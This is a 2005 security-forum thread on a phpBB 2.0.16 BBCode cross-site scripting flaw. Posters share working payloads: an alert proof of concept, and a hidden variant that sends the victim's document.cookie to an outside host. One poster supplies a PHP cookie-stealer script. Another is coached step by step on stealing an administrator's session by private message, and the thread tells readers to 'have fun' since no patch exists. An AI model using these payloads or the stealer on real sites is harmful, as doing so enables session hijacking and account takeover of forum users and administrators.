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www.waraxe.us Forum Index -> PhpBB -> phpBB 2.0.16 XSS Remote Cookie Disclosure Exploit Goto page 1, 2, 3, 4, 5, 6, 7, 8  Next
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phpBB 2.0.16 XSS Remote Cookie Disclosure Exploit
PostPosted: Fri Jul 08, 2005 8:11 pm Reply with quote
zer0-c00l
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Joined: Jun 25, 2004
Posts: 72
Location: BRAZIL!




More info in:
http://www.milw0rm.com/id.php?id=1095
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PostPosted: Sat Jul 09, 2005 2:36 pm Reply with quote
verbatim
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Joined: Jul 09, 2005
Posts: 11




waouh, a new flaw in phpBB ! Very Happy

i'm totally new in XSS Remote Cookie exploit, would you be kind to explain me (personnaly or with a good tutorial) how to use this exploit ?

thank you in advance. Wink
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PostPosted: Sat Jul 09, 2005 9:01 pm Reply with quote
diaga
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Joined: Jun 27, 2005
Posts: 22




Im getting


Code:
'
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PostPosted: Sun Jul 10, 2005 12:28 am Reply with quote
WaterBird
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Posts: 37




Hmm posted and nothing happening :/
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PostPosted: Sun Jul 10, 2005 2:35 am Reply with quote
subzero
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Posts: 42




first of all nothing is there.
and it wont redirect.that link dont exist.

http://www.milw0rm.com/cgi-bin/shell.jpg

this exploit original come from http://antichat.ru/txt/phpbb/
and not ccteam as you can see from the exploit banner in milworm site.

http://antichat.ru/txt/phpbb/ <<< visit here .
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PostPosted: Sun Jul 10, 2005 5:39 am Reply with quote
g30rg3_x
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Joined: Jan 23, 2005
Posts: 31
Location: OutSide Of The PE




First...
The Cross Site Scripting (aka XSS) bugs
just can executes in the client side

So...
This is not a simply bug that you execute and you get the admin hash

And What Can I Do With This???
You can send a exploit like /str0ke put in milw0rm, of course via pm and you can steal his cookie when it open de PM..
of course as you can read this bug just works with IE and not with others explorers

Can You Give a Poc??
umm the original ho is in russ give to PoC's

The first that prints a JS Alert with message lol
Code:

[url]www.[url=www.s=''style='top:expression(eval(this.sss));'sss=`alert('lol');this.sss=null`s='][/url][/url]'


The second steal a cookie, but you have to put the value of backgrounf inn the place were it comes ЦВЕТ_ФОНА
Code:

[color=ЦВЕТ_ФОНА][url]www.ut[url=www.s=''style='font-size:0;color:ЦВЕТ_ФОНА'style='top:expression(eval(this.sss));'sss=`i=new/**/Image();i.src='http://antichat.ru/cgi-bin/s.jpg?'+document.cookie;this.sss=null`style='font-size:0;][/url][/url]'[/color]


obviously like the str0ke bug you have to redirrect as your website for stealing the cookie:
http://antichat.ru/b.gif

so thats all about it

i think this info wold be very useful for some people
if you have questions you can answer here or by my msn..

regards
PD: There is no official patch so have fun...
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PostPosted: Sun Jul 10, 2005 7:45 am Reply with quote
y3dips
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another bbcode flaw combination with Social engineering ,I think *_^

_________________
IO::y3dips->new(http://clog.ammar.web.id);
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PostPosted: Sun Jul 10, 2005 8:54 am Reply with quote
verbatim
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Posts: 11




First, thank you for your answers and your help ! Very Happy

subzero wrote:

this exploit original come from http://antichat.ru/txt/phpbb/
and not ccteam as you can see from the exploit banner in milworm site.

http://antichat.ru/txt/phpbb/ <<< visit here .

yes, i had read it (even if i don't speak russian Wink).

g30rg3_x wrote:

of course as you can read this bug just works with IE and not with others explorers

now i understant why i couldn't see it. lol

g30rg3_x wrote:

The second steal a cookie, but you have to put the value of backgrounf inn the place were it comes ЦВЕТ_ФОНА
Code:

[color=ЦВЕТ_ФОНА][url]www.ut[url=www.s=''style='font-size:0;color:ЦВЕТ_ФОНА'style='top:expression(eval(this.sss));'sss=`i=new/**/Image();i.src='http://antichat.ru/cgi-bin/s.jpg?'+document.cookie;this.sss=null`style='font-size:0;][/url][/url]'[/color]


obviously like the str0ke bug you have to redirrect as your website for stealing the cookie:
http://antichat.ru/b.gif

humm, i've 2 questions...
1- the color ЦВЕТ_ФОНА... ... this value has to be changed with a color of the target forum, probably to hide the script... but what color ? you said the backgrounf inn but i don't understand... Embarassed

2- to redirect to our script stealer, by changing the http://antichat.ru/cgi-bin/s.jpg? url... : how to create our own cookie stealer ?

by the way, g30rg3_x, did you manage to use this exploit ?

thank you in advance. Wink
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PostPosted: Sun Jul 10, 2005 10:24 am Reply with quote
subzero
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Posts: 42




mmm
g30rg3_x

sorry but i dont understand what do you mean only work on IE ??
Wink

verbatim <<= exploit do work.

exploit.
http://kisobox.com/exploits/phpbb.2.0.16.xss+cookies.stealer.txt

it will be easy to understand by video.
http://kisobox.com/area51/phpbb2.0.16xss/

it will better to have own cookies stealer script rather to depend on antichat.ru
again. if you want to get the hash pass for admin then u just PM him/her.



Wink


Last edited by subzero on Sun Jul 10, 2005 1:55 pm; edited 1 time in total
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PostPosted: Sun Jul 10, 2005 11:20 am Reply with quote
verbatim
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great video subzero ! Very Happy

1- i still wonder... when you write
Quote:
template color,so no one can see it.
// you can do it.. by viewing page source code.

the template has many color... wich one do you mean ?

2- how to have our own cookies stealer script rather to depend on antichat.ru
again ?

thank you. Smile
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PostPosted: Sun Jul 10, 2005 11:48 am Reply with quote
subzero
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about viewing source code. oohh .. Wink too many aa..
well forget bout it.

2. some code
for cookies stealer

<?
if(isset($_GET["c"]))
{
$file = fopen("cookies.txt", "a");
fwrite($file, $_GET["c"]."\n");
fclose($file);
}
?>

Wink
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PostPosted: Sun Jul 10, 2005 12:20 pm Reply with quote
verbatim
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Posts: 11




ok, so imagine
1- i create a file cookie.php with inside :
Code:
<?
if(isset($_GET["c"]))
{
$file = fopen("cookies.txt", "a");
fwrite($file, $_GET["c"]."\n");
fclose($file);
}
?>


2- i change url of the exploit :
Code:
[color=#EFEFEF][url]www.ut[url=www.s=''style='font-size:0;color:#EFEFEF'style='top:expression(eval(this.sss));'sss=`i=new/**/Image();i.src='http://antichat.ru/cgi-bin/s.jpg?'+document.cookie;this.sss=null`style='font-size:0;][/url][/url]'[/color]

i tried to replace http://antichat.ru/cgi-bin/s.jpg? by http://mysite.com/cookie.php
but it creates no cookies.txt file, there's probably something wrong in my syntax Confused
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PostPosted: Sun Jul 10, 2005 12:21 pm Reply with quote
waraxe
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Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




I was testing this bbcode flaw yesterday and it worked even here, at waraxe.us Laughing

Some remarks:

1. it will work with IE only (no Firefox, etc ...)
2. phpBB team has no clue about this and so most of the phpbb installations in the world are affected.
3. I was making some simple changes to bbcode regexes, so right now this forum is (hopefully) protected from specific exploit.

It's interesting to see, how much time it takes to phpBB developement team to release phpBB version 2.0.17 Wink
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PostPosted: Sun Jul 10, 2005 12:30 pm Reply with quote
subzero
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Joined: Mar 16, 2005
Posts: 42




verbatim

have u set chmod 777 to the cookies.txt ?

Wink its good if you release the patch for it.
waraxe.. Wink one of mysite.. vulnerable too.
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PostPosted: Sun Jul 10, 2005 12:44 pm Reply with quote
verbatim
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Joined: Jul 09, 2005
Posts: 11




subzero wrote:
verbatim

have u set chmod 777 to the cookies.txt ?


yes i have... but this file is still empty Confused
any ideas ?
is there a mistake here :
Code:
[color=#EFEFEF][url]www.ut[url=www.s=''style='font-size:0;color:#EFEFEF'style='top:expression(eval(this.sss));'sss=`i=new/**/Image();i.src='http://mysite.com/cookie.php'+document.cookie;this.sss=null`style='font-size:0;][/url][/url]'[/color]

finally, did you manage to use this exploit with a personnal stealer script ?

(i know, a lot of question, but i guess it may help other readers Wink)
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phpBB 2.0.16 XSS Remote Cookie Disclosure Exploit
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